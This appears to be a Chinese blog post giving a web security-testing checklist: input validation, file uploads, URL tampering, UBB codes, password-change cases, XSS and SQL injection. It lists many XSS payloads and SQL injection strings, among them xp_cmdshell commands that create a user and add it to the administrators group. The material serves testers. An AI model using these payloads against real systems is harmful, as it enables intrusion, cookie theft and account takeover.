`
shenmin1984
  • 浏览: 61930 次
  • 性别: Icon_minigender_2
  • 来自: 安徽
社区版块
存档分类
最新评论

安全性测试

 
阅读更多
建立整体的威胁模型,测试溢出漏洞、信息泄漏、错误处理、SQL 注入、身份验证和授权错误

输入验证 
客户端验证服务器端验证(禁用脚本调试,禁用Cookies)

1.输入很大的数(如4,294,967,269),输入很小的数(负数
2.输入超长字符,如对输入文字长度有限制,则尝试超过限制,刚好到达限制字数时有何反应 
3.输入特殊字符,:~!@#$%^&*()_+<>:”{}| 
4.输入中英文空格,输入字符串中间含空格,输入首尾空格

5.输入特殊字符串NULL,null0x0d 0x0a

6.输入正常字符串  
7.输入与要求不同类型的字符,如: 要求输入数字则检查正值,负值,零值(正零,负零),小数,字母,空值; 要求输入字母则检查输入数字

8.输入htmljavascript代码 

1).输入<html”>”gfhd</html>,看是否出错; 
2).输入<input type=”text” name=”user”/>,看是否出现文本框; 
3).输入<script type=”text/javascript”>alert(“提示”)</script>看是否出现提示;

4).输入<!—xxx,检查页面是否会变形

5).输入”/>’/>,检查是否会出现对于字符
9.对于像回答数这样需检验数字正确性的测试点,不仅对比其与问题最终页的回答数,还要对回答进行添加删除等操作后查看变化 
 
关于上传
1.上传文件是否有格式限制,是否可以上传exe文件; 
2.上传文件是否有大小限制,上传太大的文件是否导致异常错误,上传0K的文件是否会导致异常错误,上传并不存在的文件是否会导致异常错误; 
3.通过修改扩展名的方式是否可以绕过格式限制,是否可以通过压包方式绕过格式限制; 
4.是否有上传空间的限制,是否可以超过空间所限制的大小,如将超过空间的大文件拆分上传是否会出现异常错误。 
5.上传文件大小大于本地剩余空间大小,是否会出现异常错误。 
6.关于上传是否成功的判断。上传过程中,中断。程序是否判断上传是否成功。

7.对于文件名中带有中文字符,特殊字符等的文件上传。

 
关于URL 
1.某些需登录后或特殊用户才能进入的页面,是否可以通过直接输入网址的方式进入;

2.对于带参数的网址,恶意修改其参数,(若为数字,则输入字母,或很大的数字,或输入特殊字符等)后打开网址是否出错,是否可以非法进入某些页面; 
3.搜索页面等url中含有关键字的,输入html代码或JavaScript看是否在页面中显示或执行。 
4.输入善意字符。

 

 UBB: 

 
1.试着用各种方式输入UBB代码,比如代码不完整,代码嵌套等等.

2.UBB代码中加入属性,如样式,事件等属性,看是否起作用

3.输入编辑器中不存在的UBB代码,看是否起作用  

链接:

[email=javascript:alert('hello')]EMail[/email] [email=yangtao@rising.com.cn

STYLE="background-image:

url(javascript:alert('XSS'))"]yangtao@rising.com.cn[/email] 

 

style="background-image:url(javascript:alert('alert(xss)'))"" /> 

 

[b STYLE="background-image: url(javascript:alert('XSS'))"]一首诗酸涩涩服务网[/b]

[i STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/i]

 

[u]一二三四五六七北京市[/u]

[font=微软雅黑" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/font]

[size=4" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/size]

[color=Red" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/color]

[align=center" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/align]

[float=left" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/float]

[font=微软雅黑 STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/font]

[size=4 STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/size]

[color=Red STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/color]

 

[align=center STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/align]

 

    

    一二三四五六七北京市

 

 

[indent]一二三四五六七北京市[/indent]

 

 

 

 

 

 

[float=left STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/float]

[media=ra,400,300,0]http://bbsforblog.ikaka.com/posttopic.aspx?forumid=109[/media] 

2. 输出编码

常用的测试输入语句有:

<input type="text"/> <input/> <input/  

<script>alert('hello');</script> 1.jpg" onmouseover="alert('xss')

"></a><script>alert(‘xss’);</script> http://xxx';alert('xss');var/ a='a ‘”>xss&< 

a=”\”  b=”;alert(/xss/);//”

<img src=“输出内容” border=“0” alt=“logo” /> “‟” „”‟ “””

“ “ “”“ “‘ ”

title=””

对输出数据到输出数据的对比,看是否出现问题。

 

防止SQL注入

Admin-- or --

  and  (   )   exec   insert   *   %   chr   mid   

and 1=1 ; And 1=1 ; aNd 1=1 ; char(97)char(110)char(100) char(49)char(61)char(49)  ;  %20AND%201=2 „and 1=1    ;  „And  1=1   ;   „aNd   1=1   ; and 1=2    ;   „and 1=2 and 2=2 and user>0

and (select count(*) from sysobjects)>0 and (select count(*) from msysobjects)>0

and (Select Count(*) from Admin)>=0

and (select top 1 len(username) from Admin)>0(username 已知字段) ;exec master..xp_cmdshell net user name password /add”—

;exec master..xp_cmdshell “net localgroup name administrators /add”— and 0<>(select count(*) from admin)

简单的如where xtype=U,字符U对应的ASCII码是85,所以可以用where xtype=char(85)代替;如果字符是中文的,比如where name=用户,可以用where name=nchar(29992)+nchar(25143)代替。


跨站脚本攻击(XSS 
对于XSS只需检查 HTML 输出并看看您输入的内容在什么地方。它在一个 HREF 标记中吗?是否在 IFRAME 标记中?它在 CLSID 标记中吗?在 IMG SRC 中吗?某些 Flash 内容的 PARAM NAME 是怎样的?

~!@#$%^&*()_+<>,./?;'"[]{}\- %3Cinput /%3E 
%3Cscript%3Ealert('XSS')%3C/script%3E <input type="text"/> 
<input/> <input/   
<script>alert('xss')</script> <script>alert('xss');</script> 
</script><script>alert(„xss)</script> javascript:alert(/xss/) 
javascript:alert(/xss/) 
<img src="#" onerror=alert(/xss/)>  
<img src="#" style="Xss:expression(alert(/xss/));">  <img src="#"/**/onerror=alert(/xss/) width=100> =><script>alert(document.cookie)</script>  1.jpg" onmouseover="alert('xss') 
"></a><script>alert(„xss);</script> http://xxx';alert('xss');var/ a='a ”>xss&< 
"onmouseover=alert('hello');" &{alert('hello');} 
  >"'><script>alert(„XSS')</script> 
  >%22%27><img%20src%3d%22javascript:alert(%27XSS%27)%22> >"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;XSS%26quot;)>  
AK%22%20style%3D%22background:url(javascript:alert(%27XSS%27))%22%20OS%22 
  %22%2Balert(%27XSS%27)%2B%22 
  <table background="javascript:alert(([code])"></table> 

 

<object type=text/html data="javascript:alert(([code]);"></object>   <body onload="javascript:alert(([code])"></body>   a?<script>alert(Vulnerable)</script> 

<!--'">&: 
var from = „$!rundata.Parameters.getString(from)';   var from = ”;hackerFunction(document.cookie);”;   
http://searchbox.mapbar.com /publish/template/template1010/?CID=qingke&tid=tid1010&cityName= <script>alert("hello")</script>&nid=MAPBXITBJRQMYWJRXPCBX 

14.看是否支持tapenter键等;密码是否可以复制粘贴;密码是否以* 之类的加秘符号显示 
备注:边界值的上点、内点和离点大家应该都知道吧,呵呵,这里我就不细说了~~ 二、修改密码 
当然具体情况具体分析哈~不能一概而论
际测试中可能只用到其中几条而已,比如银行卡密码的修改,就不用考虑英文和非法字符,更不用考虑那些TAP之类的快捷键。而有的需要根据需求具体分析了,比如连续出错多少次出现的提示,和一些软件修改密码要求一定时间内有一定的修改次数限制等等。

1.不输入旧密码,直接改密码

2.输入错误旧密码

3.不输入确认新密码

4.不输入新密码 
5.新密码和确认新密码不一致

6.新密码中有空格

7.新密码为空 
8.新密码为符合要求的最多字符

9.新密码为符合要求的最少字符 
10.新密码为符合要求的非最多和最少字符

11.新密码为最多字符-1

12.新密码为最少字符+

1 13.新密码为最多字符+1

14.新密码为最少字符-1 
15. 新密码为非允许字符(如有的密码要求必须是英文和数字组成,那么要试汉字和符号等) 16.看是否支持tapenter键等;密码是否可以复制粘贴;密码是否以* 之类的加秘符号

17.看密码是否区分大小写,新密码中英文小写,确认密码中英文大写

18.新密码与旧密码一样能否修改成功

 

另外一些其他的想法如下: 
1 要测试所有规约中约定可以输入的特殊字符,字母,和数字,要求都可以正常输入、显示正常和添加成功 
2 关注规约中的各种限制,比如长度,大否支持大小写。 
3 考虑各种特殊情况,比如添加同名用户,系统是否正确校验给出提示信息,管理员帐户是否可以删除,因为有些系统管理员拥有最大权限,一旦删除管理员帐户,就不能在前台添加,这给最终用户会带来很多麻烦。比较特殊的是,当用户名中包括了特殊字符,那么对这类用户名的添加同名,修改,删除,系统是否能够正确实现,我就遇到了一个系统,添加同名用户时,如果以前的用户名没有特殊字符,系统可以给出提示信息,如果以前的用户名包含特殊字符,就不校验在插入数据库的时候报错。后来查到原因了,原来是在java中拼SQL语句的时候,因为有"_",所以就调用了一个方法在“_”,前面加了一个转义字符,后来发现不该调用这个方法。所以去掉就好了。所以对待输入框中的特殊字符要多关注。

4 数值上的长度之类的,包括出错信息是否合理  
5 特殊字符:比如。 / ' " \ </html> 这些是否会造成系统崩溃

6 注入式bug:比如密码输入个or 1=1

7 登录后是否会用明文传递参数 

 

 
输入框测试 
1.验证输入与输出的是否信息一致;  

2.输入框之前的标题是否正确; 
3.对特殊字符的处理,尤其是输入信息徐需要发送到数据库的。特殊字符包括:'(单引号)、"(双引号)、[](中括号)、()(小括号)、{}(大括号)、;(分号)、<>(大于小于号)……

4.对输入框输入超过限制的字符的处理,一般非特殊的没有作出限制的在255byte左右; 
5.输入框本身的大小、长度;  

6.不同内码的字符的输入;  

7.对空格、TAB字符的处理机制;  

8.字符本身显示的颜色; 
9.密码输入窗口转换成星号或其它符号; 
10.密码输入框对其中的信息进行加密,防止采用破解星号的方法破解;  

11.按下ctrlalt键对输入框的影响; 
12.对于新增、修改、注册时用的输入框,有限制的,应该输入时作出提示,指出不允许的或者标出允许的; 
13.对于有约束条件要求的输入框应当在条件满足时输入框的状态发生相应的改变,比如选了湖南就应该列出湖南下面的市,或者选了某些条件之后,一些输入框会关闭或转为只读状态; 
14.输入类型;根据前面的栏位标题判断该输入框应该输入哪些内容算是合理的。例如,是否允许输入数字或字母,不允许输入其他字符等。 
15.输入长度;数据库字段有长度定义,当输入过长时,提交数据是否会出错。  

16.输入状态;当处于某种状态下,输入框是否处于可写或非可写状态。例如,系统自动给予的编号等栏位作为唯一标识,当再次处于编辑状态下,输入框栏位应处于不可写状态,如果可写对其编辑的话,可能会造成数据重复引起冲突等。 
17.如果是会进行数据库操作的输入框,还可以考虑输入SQL中的一些特殊符号如单引号等,有时会有意想不到的错误出现  

18.输入类型输入长度 
是否允许复制粘贴为空的情况空格的考虑半角全角测试 
对于密码输入框要考虑显示的内容是*  输入错误时的提示信息及提示信息是否准确  

19.可以先了解你要测试的输入框在软件系统的某个功能中所扮演的角色,然后了解其具体的输入条件,在将输入条件按照有效等价类,无效等价类,边界值等方法进行测试用例的设计。 
20.关键字有大小写混合的情况; 
21.关键字中含有一个或多个空格的情况,包括前空格,中间空格(多个关键字),和后空格; 
22.关键字中是否支持通配符的情况(视功能而定);  

23.关键字的长度分别为91011个字符时的情况;  

24.关键字是valid,但是没有匹配搜索结果的情况; 
25.输入html的标签会出现哪些问题?输入<html> 会出现什么问题呢?(这条是我自己发现的,在网上也没找到类似的东东,呵呵,大家凑合着看吧)  

安全测试方面: 
给出一些特别的关键字,比如 or 1=1, 这样的关键字如果不被处理就直接用到数据库查询中去,后果可想而知。

分享到:
评论

相关推荐

    WEB安全性测试测试用例(基础)

    ### WEB安全性测试测试用例(基础) #### 一、输入验证 输入验证是Web安全测试中的一个重要环节,它主要关注用户提交的数据是否符合预期的格式和类型,旨在防止恶意数据被提交到系统中,造成安全漏洞。以下是几种...

    软件安全性测试总结

    ### 软件安全性测试总结 #### 一、软件安全性测试概述 安全性测试,作为软件质量保障的一个重要组成部分,近年来随着网络安全威胁的日益增多而变得越来越受到关注。尤其是在国内,由于许多知名网站遭受攻击和重要...

    软件安全性测试论文——Graw

    在IT行业中,软件安全性测试是确保应用程序免受潜在威胁和攻击的关键环节。Graw的这篇论文集中探讨了这个至关重要的主题,旨在为开发者、测试人员和安全专家提供深入的理论和实践指导。以下是对该论文内容的详细解读...

    软件安全性测试(完整版)

    《软件安全性测试》 在信息化社会中,软件的安全性已经成为我们关注的重要焦点。软件安全性测试是一种专门用于评估软件产品在面临各种威胁时的防御能力,确保软件在设计、开发、运行过程中不会因为潜在的安全漏洞而...

    (完整版)安全性测试用例.doc.pdf

    (完整版)安全性测试用例.doc.pdf(完整版)安全性测试用例.doc.pdf(完整版)安全性测试用例.doc.pdf(完整版)安全性测试用例.doc.pdf(完整版)安全性测试用例.doc.pdf(完整版)安全性测试用例.doc.pdf(完整版)安全性测试...

    安全性测试工具及教程打包

    在IT行业中,安全性测试是确保软件、系统或网络免受恶意攻击、数据泄露以及各种安全威胁的关键环节。这个“安全性测试工具及教程打包”提供的资源旨在帮助用户深入了解和掌握安全测试的方法和技术。以下是对其中涉及...

    WEB安全性测试

    Web安全性测试是针对Web应用程序进行的一种关键评估,旨在发现并修复潜在的安全漏洞,防止黑客攻击和数据泄露。由于Web应用在现代社会中的广泛应用,它们成为网络犯罪分子的主要目标。忽视安全测试可能导致用户数据...

    FPGA软件可靠性安全性测试方法研究.pdf

    基于此方法,研究者开发了基于运行剖面的可靠性与安全性测试工具,该工具可以生成FPGA软件可靠性安全性测试脚本,并获取软件可靠性安全性度量模型所需的度量基础数据,从而有效提高了航天型号FPGA软件可靠性安全性...

    QGDW 10942-2018 应用软件系统安全性测试方法.pdf

    QGDW 10942-2018 应用软件系统安全性测试方法.pdf

    OWASP固件安全性测试指南.pdf

    OWASP固件安全性测试指南.pdf

    安全性测试培训.pptx

    【安全性测试培训】 安全测试是确保软件产品在面临各种安全威胁时能有效防御的重要环节。在安全性测试中,我们关注的主要目标是预防病毒入侵、防止后门安装、避免社会工程学攻击、限制权限提升和阻止跳板攻击。下面...

    web安全性测试

    网站安全性测试文档,其中有介绍三种网站安全性测试工具

    软件系统的安全性测试

    安全性测试方法 ,1. 功能验证 功能验证是采用软件测试当中的黑盒测试方法,对涉及安全的软件功能,如:用户管理模块,权限管理,加密系统,认证系统等进行测试,主要验证上述功能是否有效。 2. 漏洞扫描 安全漏洞...

    系统安全性测试问题举例.docx

    系统安全性测试是确保软件或系统免受恶意攻击和数据泄露的关键环节。以下是一些常见的系统安全性测试问题及其测试方法: 1. **未验证的输入**:这是许多安全漏洞的根源,因为不正确的输入验证可能导致数据污染。...

    安全性测试总结.ppt

    安全性测试的目的 安全性测试内容 安全性测试方法 详尽的说明 1.应用程序安全测试 2.操作系统安全测试 3.数据库安全测试 4.IIS服务器安全测试 5.网络环境安全测试

    Web安全性测试介绍.html

    安全性测试主要是指利用安全性测试技术,在产品没有正式发布前找到潜在漏洞。找到漏洞后,需要把这些漏洞进行修复,避免这些潜在的漏洞被非法用户发现并利用。像我们测试中找软件产品bug一样,安全漏洞也是很难完全...

Global site tag (gtag.js) - Google Analytics